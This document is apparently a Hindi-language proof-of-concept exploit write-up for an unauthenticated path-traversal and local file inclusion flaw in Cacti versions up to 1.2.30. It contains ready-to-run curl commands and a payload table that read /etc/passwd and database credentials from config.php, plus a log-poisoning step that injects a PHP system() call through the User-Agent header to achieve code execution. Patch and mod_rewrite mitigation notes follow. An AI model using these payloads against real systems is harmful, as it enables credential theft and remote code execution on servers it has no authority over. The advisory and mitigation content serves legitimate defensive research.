
CVE-2026-39938 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट: Cacti <= 1.2.30 में अप्रमाणित स्थानीय फ़ाइल समावेशन, जो लॉग विषाक्तता के माध्यम से मनमाना फ़ाइल पढ़ने और दूरस्थ कोड निष्पादन को सक्षम करता है।
| फ़ील्ड | मान |
|---|---|
| CVE ID | CVE-2026-39938 |
| CVSS स्कोर | 9.8 (गंभीर) |
| प्रभावित उत्पाद | Cacti |
| प्रभावित संस्करण | <= 1.2.30 |
| पैच किया गया संस्करण | 1.2.31 |
| फिक्स कमिट | 9871f0c |
यह भेद्यता lib/rrd.php में मौजूद है जहाँ graph_theme पैरामीटर को बिना सैनिटाइज़ेशन के सीधे उपयोग किया जाता है:
संवेदनशील कोड:
if (isset($graph_data_array['graph_theme'])) {
$rrdtheme = $config['base_path'] . '/include/themes/' . $graph_data_array['graph_theme'] . '/rrdtheme.php';
}
पैच किया गया कोड:
if (isset($graph_data_array['graph_theme'])) {
$theme = basename($graph_data_array['graph_theme']);
if ($theme === '' || $theme === '.' || $theme === '..') {
$theme = get_selected_theme();
}
$rrdtheme = $config['base_path'] . '/include/themes/' . $theme . '/rrdtheme.php';
}
समस्या: ../ पथ ट्रावर्सल अनुक्रमों के विरुद्ध कोई सत्यापन नहीं, जिससे हमलावर बिना प्रमाणीकरण के मनमानी फ़ाइलें पढ़ सकते हैं।
curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../etc/passwd"
परिणाम: प्रतिक्रिया में /etc/passwd की सामग्री प्रदर्शित होगी।
curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../include/config.php"
परिणाम: डेटाबेस क्रेडेंशियल्स (उपयोगकर्ता नाम, पासवर्ड) उजागर हो जाएंगे।
curl -k -s "http://target-cacti/graph_image.php?local_graph_id=1" \
-H "User-Agent: <?php system('id'); ?>"
curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../var/log/apache2/access.log"
परिणाम: कमांड आउटपुट (जैसे, uid=33(www-data)) प्रदर्शित होगा।
http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../etc/passwd
http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../include/config.php
http://target-cacti/graph_image.php?local_graph_id=1
हेडर के साथ: User-Agent: <?php system('id'); ?>
http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../var/log/apache2/access.log
cd /var/www/html/cacti
git fetch --tags
git checkout tags/release/1.2.31
grep -A 5 "if (isset(\$graph_data_array\['graph_theme'\]))" lib/rrd.php | grep basename
RewriteCond %{QUERY_STRING} (^|&)graph_theme=\.\./ [NC]
RewriteRule ^graph_image\.php$ - [F,L]
रिपोर्ट सुरक्षा अनुसंधान उद्देश्यों के लिए उत्पन्न की गई दिनांक: जून 27, 2026
| एंडपॉइंट | पैरामीटर | पेलोड उदाहरण |
|---|
/graph_image.php | graph_theme | ../../../../../../../etc/passwd |
/graph_image.php | graph_theme | ../../../../include/config.php |
/graph_image.php | graph_theme | ../../../../../../../var/log/apache2/access.log |